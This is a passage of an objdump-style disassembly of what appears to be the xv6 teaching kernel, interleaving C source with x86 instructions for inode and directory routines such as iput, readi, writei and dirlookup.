801016ce: 03 05 d4 09 11 80 add 0x801109d4,%eax 801016d4: 89 44 24 04 mov %eax,0x4(%esp) 801016d8: 8b 03 mov (%ebx),%eax 801016da: 89 04 24 mov %eax,(%esp) 801016dd: e8 ee e9 ff ff call 801000d0 <bread> dip = (struct dinode*)bp->data + ip->inum%IPB; 801016e2: 8b 53 04 mov 0x4(%ebx),%edx 801016e5: 83 e2 07 and $0x7,%edx 801016e8: c1 e2 06 shl $0x6,%edx 801016eb: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016ef: 89 c6 mov %eax,%esi ip->type = dip->type; 801016f1: 0f b7 02 movzwl (%edx),%eax memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016f4: 83 c2 0c add $0xc,%edx ip->type = dip->type; 801016f7: 66 89 43 50 mov %ax,0x50(%ebx) ip->major = dip->major; 801016fb: 0f b7 42 f6 movzwl -0xa(%edx),%eax 801016ff: 66 89 43 52 mov %ax,0x52(%ebx) ip->minor = dip->minor; 80101703: 0f b7 42 f8 movzwl -0x8(%edx),%eax 80101707: 66 89 43 54 mov %ax,0x54(%ebx) ip->nlink = dip->nlink; 8010170b: 0f b7 42 fa movzwl -0x6(%edx),%eax 8010170f: 66 89 43 56 mov %ax,0x56(%ebx) ip->size = dip->size; 80101713: 8b 42 fc mov -0x4(%edx),%eax 80101716: 89 43 58 mov %eax,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101719: 8d 43 5c lea 0x5c(%ebx),%eax 8010171c: 89 54 24 04 mov %edx,0x4(%esp) 80101720: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 80101727: 00 80101728: 89 04 24 mov %eax,(%esp) 8010172b: e8 d0 2b 00 00 call 80104300 <memmove> brelse(bp); 80101730: 89 34 24 mov %esi,(%esp) 80101733: e8 a8 ea ff ff call 801001e0 <brelse> if(ip->type == 0) 80101738: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->valid = 1; 8010173d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101744: 0f 85 76 ff ff ff jne 801016c0 <ilock+0x30> panic("ilock: no type"); 8010174a: c7 04 24 30 6f 10 80 movl $0x80106f30,(%esp) 80101751: e8 0a ec ff ff call 80100360 <panic> panic("ilock"); 80101756: c7 04 24 2a 6f 10 80 movl $0x80106f2a,(%esp) 8010175d: e8 fe eb ff ff call 80100360 <panic> 80101762: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101769: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101770 <iunlock>: { 80101770: 55 push %ebp 80101771: 89 e5 mov %esp,%ebp 80101773: 56 push %esi 80101774: 53 push %ebx 80101775: 83 ec 10 sub $0x10,%esp 80101778: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 8010177b: 85 db test %ebx,%ebx 8010177d: 74 24 je 801017a3 <iunlock+0x33> 8010177f: 8d 73 0c lea 0xc(%ebx),%esi 80101782: 89 34 24 mov %esi,(%esp) 80101785: e8 76 28 00 00 call 80104000 <holdingsleep> 8010178a: 85 c0 test %eax,%eax 8010178c: 74 15 je 801017a3 <iunlock+0x33> 8010178e: 8b 43 08 mov 0x8(%ebx),%eax 80101791: 85 c0 test %eax,%eax 80101793: 7e 0e jle 801017a3 <iunlock+0x33> releasesleep(&ip->lock); 80101795: 89 75 08 mov %esi,0x8(%ebp) } 80101798: 83 c4 10 add $0x10,%esp 8010179b: 5b pop %ebx 8010179c: 5e pop %esi 8010179d: 5d pop %ebp releasesleep(&ip->lock); 8010179e: e9 1d 28 00 00 jmp 80103fc0 <releasesleep> panic("iunlock"); 801017a3: c7 04 24 3f 6f 10 80 movl $0x80106f3f,(%esp) 801017aa: e8 b1 eb ff ff call 80100360 <panic> 801017af: 90 nop 801017b0 <iput>: { 801017b0: 55 push %ebp 801017b1: 89 e5 mov %esp,%ebp 801017b3: 57 push %edi 801017b4: 56 push %esi 801017b5: 53 push %ebx 801017b6: 83 ec 1c sub $0x1c,%esp 801017b9: 8b 75 08 mov 0x8(%ebp),%esi acquiresleep(&ip->lock); 801017bc: 8d 7e 0c lea 0xc(%esi),%edi 801017bf: 89 3c 24 mov %edi,(%esp) 801017c2: e8 99 27 00 00 call 80103f60 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801017c7: 8b 56 4c mov 0x4c(%esi),%edx 801017ca: 85 d2 test %edx,%edx 801017cc: 74 07 je 801017d5 <iput+0x25> 801017ce: 66 83 7e 56 00 cmpw $0x0,0x56(%esi) 801017d3: 74 2b je 80101800 <iput+0x50> releasesleep(&ip->lock); 801017d5: 89 3c 24 mov %edi,(%esp) 801017d8: e8 e3 27 00 00 call 80103fc0 <releasesleep> acquire(&icache.lock); 801017dd: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801017e4: e8 37 29 00 00 call 80104120 <acquire> ip->ref--; 801017e9: 83 6e 08 01 subl $0x1,0x8(%esi) release(&icache.lock); 801017ed: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp) } 801017f4: 83 c4 1c add $0x1c,%esp 801017f7: 5b pop %ebx 801017f8: 5e pop %esi 801017f9: 5f pop %edi 801017fa: 5d pop %ebp release(&icache.lock); 801017fb: e9 10 2a 00 00 jmp 80104210 <release> acquire(&icache.lock); 80101800: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101807: e8 14 29 00 00 call 80104120 <acquire> int r = ip->ref; 8010180c: 8b 5e 08 mov 0x8(%esi),%ebx release(&icache.lock); 8010180f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101816: e8 f5 29 00 00 call 80104210 <release> if(r == 1){ 8010181b: 83 fb 01 cmp $0x1,%ebx 8010181e: 75 b5 jne 801017d5 <iput+0x25> 80101820: 8d 4e 30 lea 0x30(%esi),%ecx 80101823: 89 f3 mov %esi,%ebx 80101825: 89 7d e4 mov %edi,-0x1c(%ebp) 80101828: 89 cf mov %ecx,%edi 8010182a: eb 0b jmp 80101837 <iput+0x87> 8010182c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101830: 83 c3 04 add $0x4,%ebx { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101833: 39 fb cmp %edi,%ebx 80101835: 74 19 je 80101850 <iput+0xa0> if(ip->addrs[i]){ 80101837: 8b 53 5c mov 0x5c(%ebx),%edx 8010183a: 85 d2 test %edx,%edx 8010183c: 74 f2 je 80101830 <iput+0x80> bfree(ip->dev, ip->addrs[i]); 8010183e: 8b 06 mov (%esi),%eax 80101840: e8 7b fb ff ff call 801013c0 <bfree> ip->addrs[i] = 0; 80101845: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx) 8010184c: eb e2 jmp 80101830 <iput+0x80> 8010184e: 66 90 xchg %ax,%ax } } if(ip->addrs[NDIRECT]){ 80101850: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax 80101856: 8b 7d e4 mov -0x1c(%ebp),%edi 80101859: 85 c0 test %eax,%eax 8010185b: 75 2b jne 80101888 <iput+0xd8> brelse(bp); bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; 8010185d: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi) iupdate(ip); 80101864: 89 34 24 mov %esi,(%esp) 80101867: e8 64 fd ff ff call 801015d0 <iupdate> ip->type = 0; 8010186c: 31 c0 xor %eax,%eax 8010186e: 66 89 46 50 mov %ax,0x50(%esi) iupdate(ip); 80101872: 89 34 24 mov %esi,(%esp) 80101875: e8 56 fd ff ff call 801015d0 <iupdate> ip->valid = 0; 8010187a: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) 80101881: e9 4f ff ff ff jmp 801017d5 <iput+0x25> 80101886: 66 90 xchg %ax,%ax bp = bread(ip->dev, ip->addrs[NDIRECT]); 80101888: 89 44 24 04 mov %eax,0x4(%esp) 8010188c: 8b 06 mov (%esi),%eax for(j = 0; j < NINDIRECT; j++){ 8010188e: 31 db xor %ebx,%ebx bp = bread(ip->dev, ip->addrs[NDIRECT]); 80101890: 89 04 24 mov %eax,(%esp) 80101893: e8 38 e8 ff ff call 801000d0 <bread> for(j = 0; j < NINDIRECT; j++){ 80101898: 89 7d e0 mov %edi,-0x20(%ebp) a = (uint*)bp->data; 8010189b: 8d 48 5c lea 0x5c(%eax),%ecx bp = bread(ip->dev, ip->addrs[NDIRECT]); 8010189e: 89 45 e4 mov %eax,-0x1c(%ebp) for(j = 0; j < NINDIRECT; j++){ 801018a1: 89 cf mov %ecx,%edi 801018a3: 31 c0 xor %eax,%eax 801018a5: eb 0e jmp 801018b5 <iput+0x105> 801018a7: 90 nop 801018a8: 83 c3 01 add $0x1,%ebx 801018ab: 81 fb 80 00 00 00 cmp $0x80,%ebx 801018b1: 89 d8 mov %ebx,%eax 801018b3: 74 10 je 801018c5 <iput+0x115> if(a[j]) 801018b5: 8b 14 87 mov (%edi,%eax,4),%edx 801018b8: 85 d2 test %edx,%edx 801018ba: 74 ec je 801018a8 <iput+0xf8> bfree(ip->dev, a[j]); 801018bc: 8b 06 mov (%esi),%eax 801018be: e8 fd fa ff ff call 801013c0 <bfree> 801018c3: eb e3 jmp 801018a8 <iput+0xf8> brelse(bp); 801018c5: 8b 45 e4 mov -0x1c(%ebp),%eax 801018c8: 8b 7d e0 mov -0x20(%ebp),%edi 801018cb: 89 04 24 mov %eax,(%esp) 801018ce: e8 0d e9 ff ff call 801001e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 801018d3: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx 801018d9: 8b 06 mov (%esi),%eax 801018db: e8 e0 fa ff ff call 801013c0 <bfree> ip->addrs[NDIRECT] = 0; 801018e0: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi) 801018e7: 00 00 00 801018ea: e9 6e ff ff ff jmp 8010185d <iput+0xad> 801018ef: 90 nop 801018f0 <iunlockput>: { 801018f0: 55 push %ebp 801018f1: 89 e5 mov %esp,%ebp 801018f3: 53 push %ebx 801018f4: 83 ec 14 sub $0x14,%esp 801018f7: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 801018fa: 89 1c 24 mov %ebx,(%esp) 801018fd: e8 6e fe ff ff call 80101770 <iunlock> iput(ip); 80101902: 89 5d 08 mov %ebx,0x8(%ebp) } 80101905: 83 c4 14 add $0x14,%esp 80101908: 5b pop %ebx 80101909: 5d pop %ebp iput(ip); 8010190a: e9 a1 fe ff ff jmp 801017b0 <iput> 8010190f: 90 nop 80101910 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101910: 55 push %ebp 80101911: 89 e5 mov %esp,%ebp 80101913: 8b 55 08 mov 0x8(%ebp),%edx 80101916: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101919: 8b 0a mov (%edx),%ecx 8010191b: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 8010191e: 8b 4a 04 mov 0x4(%edx),%ecx 80101921: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101924: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101928: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 8010192b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 8010192f: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101933: 8b 52 58 mov 0x58(%edx),%edx 80101936: 89 50 10 mov %edx,0x10(%eax) } 80101939: 5d pop %ebp 8010193a: c3 ret 8010193b: 90 nop 8010193c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101940 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101940: 55 push %ebp 80101941: 89 e5 mov %esp,%ebp 80101943: 57 push %edi 80101944: 56 push %esi 80101945: 53 push %ebx 80101946: 83 ec 2c sub $0x2c,%esp 80101949: 8b 45 0c mov 0xc(%ebp),%eax 8010194c: 8b 7d 08 mov 0x8(%ebp),%edi 8010194f: 8b 75 10 mov 0x10(%ebp),%esi 80101952: 89 45 e0 mov %eax,-0x20(%ebp) 80101955: 8b 45 14 mov 0x14(%ebp),%eax uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101958: 66 83 7f 50 03 cmpw $0x3,0x50(%edi) { 8010195d: 89 45 e4 mov %eax,-0x1c(%ebp) if(ip->type == T_DEV){ 80101960: 0f 84 aa 00 00 00 je 80101a10 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101966: 8b 47 58 mov 0x58(%edi),%eax 80101969: 39 f0 cmp %esi,%eax 8010196b: 0f 82 c7 00 00 00 jb 80101a38 <readi+0xf8> 80101971: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101974: 89 da mov %ebx,%edx 80101976: 01 f2 add %esi,%edx 80101978: 0f 82 ba 00 00 00 jb 80101a38 <readi+0xf8> return -1; if(off + n > ip->size) n = ip->size - off; 8010197e: 89 c1 mov %eax,%ecx 80101980: 29 f1 sub %esi,%ecx 80101982: 39 d0 cmp %edx,%eax 80101984: 0f 43 cb cmovae %ebx,%ecx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101987: 31 c0 xor %eax,%eax 80101989: 85 c9 test %ecx,%ecx n = ip->size - off; 8010198b: 89 4d e4 mov %ecx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 8010198e: 74 70 je 80101a00 <readi+0xc0> 80101990: 89 7d d8 mov %edi,-0x28(%ebp) 80101993: 89 c7 mov %eax,%edi 80101995: 8d 76 00 lea 0x0(%esi),%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101998: 8b 5d d8 mov -0x28(%ebp),%ebx 8010199b: 89 f2 mov %esi,%edx 8010199d: c1 ea 09 shr $0x9,%edx 801019a0: 89 d8 mov %ebx,%eax 801019a2: e8 09 f9 ff ff call 801012b0 <bmap> 801019a7: 89 44 24 04 mov %eax,0x4(%esp) 801019ab: 8b 03 mov (%ebx),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019ad: bb 00 02 00 00 mov $0x200,%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019b2: 89 04 24 mov %eax,(%esp) 801019b5: e8 16 e7 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 801019ba: 8b 4d e4 mov -0x1c(%ebp),%ecx 801019bd: 29 f9 sub %edi,%ecx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019bf: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 801019c1: 89 f0 mov %esi,%eax 801019c3: 25 ff 01 00 00 and $0x1ff,%eax 801019c8: 29 c3 sub %eax,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019ca: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019ce: 39 cb cmp %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019d0: 89 44 24 04 mov %eax,0x4(%esp) 801019d4: 8b 45 e0 mov -0x20(%ebp),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019d7: 0f 47 d9 cmova %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019da: 89 5c 24 08 mov %ebx,0x8(%esp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019de: 01 df add %ebx,%edi 801019e0: 01 de add %ebx,%esi memmove(dst, bp->data + off%BSIZE, m); 801019e2: 89 55 dc mov %edx,-0x24(%ebp) 801019e5: 89 04 24 mov %eax,(%esp) 801019e8: e8 13 29 00 00 call 80104300 <memmove> brelse(bp); 801019ed: 8b 55 dc mov -0x24(%ebp),%edx 801019f0: 89 14 24 mov %edx,(%esp) 801019f3: e8 e8 e7 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019f8: 01 5d e0 add %ebx,-0x20(%ebp) 801019fb: 39 7d e4 cmp %edi,-0x1c(%ebp) 801019fe: 77 98 ja 80101998 <readi+0x58> } return n; 80101a00: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101a03: 83 c4 2c add $0x2c,%esp 80101a06: 5b pop %ebx 80101a07: 5e pop %esi 80101a08: 5f pop %edi 80101a09: 5d pop %ebp 80101a0a: c3 ret 80101a0b: 90 nop 80101a0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101a10: 0f bf 47 52 movswl 0x52(%edi),%eax 80101a14: 66 83 f8 09 cmp $0x9,%ax 80101a18: 77 1e ja 80101a38 <readi+0xf8> 80101a1a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax 80101a21: 85 c0 test %eax,%eax 80101a23: 74 13 je 80101a38 <readi+0xf8> return devsw[ip->major].read(ip, dst, n); 80101a25: 8b 75 e4 mov -0x1c(%ebp),%esi 80101a28: 89 75 10 mov %esi,0x10(%ebp) } 80101a2b: 83 c4 2c add $0x2c,%esp 80101a2e: 5b pop %ebx 80101a2f: 5e pop %esi 80101a30: 5f pop %edi 80101a31: 5d pop %ebp return devsw[ip->major].read(ip, dst, n); 80101a32: ff e0 jmp *%eax 80101a34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80101a38: b8 ff ff ff ff mov $0xffffffff,%eax 80101a3d: eb c4 jmp 80101a03 <readi+0xc3> 80101a3f: 90 nop 80101a40 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a40: 55 push %ebp 80101a41: 89 e5 mov %esp,%ebp 80101a43: 57 push %edi 80101a44: 56 push %esi 80101a45: 53 push %ebx 80101a46: 83 ec 2c sub $0x2c,%esp 80101a49: 8b 45 08 mov 0x8(%ebp),%eax 80101a4c: 8b 75 0c mov 0xc(%ebp),%esi 80101a4f: 8b 4d 14 mov 0x14(%ebp),%ecx uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a52: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101a57: 89 75 dc mov %esi,-0x24(%ebp) 80101a5a: 8b 75 10 mov 0x10(%ebp),%esi 80101a5d: 89 45 d8 mov %eax,-0x28(%ebp) 80101a60: 89 4d e0 mov %ecx,-0x20(%ebp) if(ip->type == T_DEV){ 80101a63: 0f 84 b7 00 00 00 je 80101b20 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101a69: 8b 45 d8 mov -0x28(%ebp),%eax 80101a6c: 39 70 58 cmp %esi,0x58(%eax) 80101a6f: 0f 82 e3 00 00 00 jb 80101b58 <writei+0x118> 80101a75: 8b 4d e0 mov -0x20(%ebp),%ecx 80101a78: 89 c8 mov %ecx,%eax 80101a7a: 01 f0 add %esi,%eax 80101a7c: 0f 82 d6 00 00 00 jb 80101b58 <writei+0x118> return -1; if(off + n > MAXFILE*BSIZE) 80101a82: 3d 00 18 01 00 cmp $0x11800,%eax 80101a87: 0f 87 cb 00 00 00 ja 80101b58 <writei+0x118> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101a8d: 85 c9 test %ecx,%ecx 80101a8f: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101a96: 74 77 je 80101b0f <writei+0xcf> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101a98: 8b 7d d8 mov -0x28(%ebp),%edi 80101a9b: 89 f2 mov %esi,%edx m = min(n - tot, BSIZE - off%BSIZE); 80101a9d: bb 00 02 00 00 mov $0x200,%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101aa2: c1 ea 09 shr $0x9,%edx 80101aa5: 89 f8 mov %edi,%eax 80101aa7: e8 04 f8 ff ff call 801012b0 <bmap> 80101aac: 89 44 24 04 mov %eax,0x4(%esp) 80101ab0: 8b 07 mov (%edi),%eax 80101ab2: 89 04 24 mov %eax,(%esp) 80101ab5: e8 16 e6 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 80101aba: 8b 4d e0 mov -0x20(%ebp),%ecx 80101abd: 2b 4d e4 sub -0x1c(%ebp),%ecx memmove(bp->data + off%BSIZE, src, m); 80101ac0: 8b 55 dc mov -0x24(%ebp),%edx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ac3: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101ac5: 89 f0 mov %esi,%eax 80101ac7: 25 ff 01 00 00 and $0x1ff,%eax 80101acc: 29 c3 sub %eax,%ebx 80101ace: 39 cb cmp %ecx,%ebx 80101ad0: 0f 47 d9 cmova %ecx,%ebx memmove(bp->data + off%BSIZE, src, m); 80101ad3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101ad7: 01 de add %ebx,%esi memmove(bp->data + off%BSIZE, src, m); 80101ad9: 89 54 24 04 mov %edx,0x4(%esp) 80101add: 89 5c 24 08 mov %ebx,0x8(%esp) 80101ae1: 89 04 24 mov %eax,(%esp) 80101ae4: e8 17 28 00 00 call 80104300 <memmove> log_write(bp); 80101ae9: 89 3c 24 mov %edi,(%esp) 80101aec: e8 9f 11 00 00 call 80102c90 <log_write> brelse(bp); 80101af1: 89 3c 24 mov %edi,(%esp) 80101af4: e8 e7 e6 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101af9: 01 5d e4 add %ebx,-0x1c(%ebp) 80101afc: 8b 45 e4 mov -0x1c(%ebp),%eax 80101aff: 01 5d dc add %ebx,-0x24(%ebp) 80101b02: 39 45 e0 cmp %eax,-0x20(%ebp) 80101b05: 77 91 ja 80101a98 <writei+0x58> } if(n > 0 && off > ip->size){ 80101b07: 8b 45 d8 mov -0x28(%ebp),%eax 80101b0a: 39 70 58 cmp %esi,0x58(%eax) 80101b0d: 72 39 jb 80101b48 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101b0f: 8b 45 e0 mov -0x20(%ebp),%eax } 80101b12: 83 c4 2c add $0x2c,%esp 80101b15: 5b pop %ebx 80101b16: 5e pop %esi 80101b17: 5f pop %edi 80101b18: 5d pop %ebp 80101b19: c3 ret 80101b1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101b20: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b24: 66 83 f8 09 cmp $0x9,%ax 80101b28: 77 2e ja 80101b58 <writei+0x118> 80101b2a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax 80101b31: 85 c0 test %eax,%eax 80101b33: 74 23 je 80101b58 <writei+0x118> return devsw[ip->major].write(ip, src, n); 80101b35: 89 4d 10 mov %ecx,0x10(%ebp) } 80101b38: 83 c4 2c add $0x2c,%esp 80101b3b: 5b pop %ebx 80101b3c: 5e pop %esi 80101b3d: 5f pop %edi 80101b3e: 5d pop %ebp return devsw[ip->major].write(ip, src, n); 80101b3f: ff e0 jmp *%eax 80101b41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ip->size = off; 80101b48: 8b 45 d8 mov -0x28(%ebp),%eax 80101b4b: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101b4e: 89 04 24 mov %eax,(%esp) 80101b51: e8 7a fa ff ff call 801015d0 <iupdate> 80101b56: eb b7 jmp 80101b0f <writei+0xcf> } 80101b58: 83 c4 2c add $0x2c,%esp return -1; 80101b5b: b8 ff ff ff ff mov $0xffffffff,%eax } 80101b60: 5b pop %ebx 80101b61: 5e pop %esi 80101b62: 5f pop %edi 80101b63: 5d pop %ebp 80101b64: c3 ret 80101b65: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101b69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101b70 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101b70: 55 push %ebp 80101b71: 89 e5 mov %esp,%ebp 80101b73: 83 ec 18 sub $0x18,%esp return strncmp(s, t, DIRSIZ); 80101b76: 8b 45 0c mov 0xc(%ebp),%eax 80101b79: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101b80: 00 80101b81: 89 44 24 04 mov %eax,0x4(%esp) 80101b85: 8b 45 08 mov 0x8(%ebp),%eax 80101b88: 89 04 24 mov %eax,(%esp) 80101b8b: e8 f0 27 00 00 call 80104380 <strncmp> } 80101b90: c9 leave 80101b91: c3 ret 80101b92: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ba0 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101ba0: 55 push %ebp 80101ba1: 89 e5 mov %esp,%ebp 80101ba3: 57 push %edi 80101ba4: 56 push %esi 80101ba5: 53 push %ebx 80101ba6: 83 ec 2c sub $0x2c,%esp 80101ba9: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101bac: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101bb1: 0f 85 97 00 00 00 jne 80101c4e <dirlookup+0xae> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101bb7: 8b 53 58 mov 0x58(%ebx),%edx 80101bba: 31 ff xor %edi,%edi 80101bbc: 8d 75 d8 lea -0x28(%ebp),%esi 80101bbf: 85 d2 test %edx,%edx 80101bc1: 75 0d jne 80101bd0 <dirlookup+0x30> 80101bc3: eb 73 jmp 80101c38 <dirlookup+0x98> 80101bc5: 8d 76 00 lea 0x0(%esi),%esi 80101bc8: 83 c7 10 add $0x10,%edi 80101bcb: 39 7b 58 cmp %edi,0x58(%ebx) 80101bce: 76 68 jbe 80101c38 <dirlookup+0x98> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101bd0: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101bd7: 00 80101bd8: 89 7c 24 08 mov %edi,0x8(%esp) 80101bdc: 89 74 24 04 mov %esi,0x4(%esp) 80101be0: 89 1c 24 mov %ebx,(%esp) 80101be3: e8 58 fd ff ff call 80101940 <readi> 80101be8: 83 f8 10 cmp $0x10,%eax 80101beb: 75 55 jne 80101c42 <dirlookup+0xa2> panic("dirlookup read"); if(de.inum == 0) 80101bed: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101bf2: 74 d4 je 80101bc8 <dirlookup+0x28> return strncmp(s, t, DIRSIZ); 80101bf4: 8d 45 da lea -0x26(%ebp),%eax 80101bf7: 89 44 24 04 mov %eax,0x4(%esp) 80101bfb: 8b 45 0c mov 0xc(%ebp),%eax 80101bfe: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101c05: 00 80101c06: 89 04 24 mov %eax,(%esp) 80101c09: e8 72 27 00 00 call 80104380 <strncmp> continue; if(namecmp(name, de.name) == 0){ 80101c0e: 85 c0 test %eax,%eax 80101c10: 75 b6 jne 80101bc8 <dirlookup+0x28> // entry matches path element if(poff) 80101c12: 8b 45 10 mov 0x10(%ebp),%eax 80101c15: 85 c0 test %eax,%eax 80101c17: 74 05 je 80101c1e <dirlookup+0x7e> *poff = off; 80101c19: 8b 45 10 mov 0x10(%ebp),%eax 80101c1c: 89 38 mov %edi,(%eax) inum = de.inum; 80101c1e: 0f b7 55 d8 movzwl -0x28(%ebp),%edx return iget(dp->dev, inum); 80101c22: 8b 03 mov (%ebx),%eax 80101c24: e8 c7 f5 ff ff call 801011f0 <iget> } } return 0; } 80101c29: 83 c4 2c add $0x2c,%esp 80101c2c: 5b pop %ebx 80101c2d: 5e pop %esi 80101c2e: 5f pop %edi 80101c2f: 5d pop %ebp 80101c30: c3 ret 80101c31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101c38: 83 c4 2c add $0x2c,%esp return 0; 80101c3b: 31 c0 xor %eax,%eax } 80101c3d: 5b pop %ebx 80101c3e: 5e pop %esi 80101c3f: 5f pop %edi 80101c40: 5d pop %ebp 80101c41: c3 ret panic("dirlookup read"); 80101c42: c7 04 24 59 6f 10 80 movl $0x80106f59,(%esp) 80101c49: e8 12 e7 ff ff call 80100360 <panic> panic("dirlookup not DIR"); 80101c4e: c7 04 24 47 6f 10 80 movl $0x80106f47,(%esp) 80101c55: e8 06 e7 ff ff call 80100360 <panic> 80101c5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101c60 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c60: 55 push %ebp 80101c61: 89 e5 mov %esp,%ebp 80101c63: 57 push %edi 80101c64: 89 cf mov %ecx,%edi 80101c66: 56 push %esi 80101c67: 53 push %ebx 80101c68: 89 c3 mov %eax,%ebx 80101c6a: 83 ec 2c sub $0x2c,%esp struct inode *ip, *next; if(*path == '/') 80101c6d: 80 38 2f cmpb $0x2f,(%eax) { 80101c70: 89 55 e0 mov 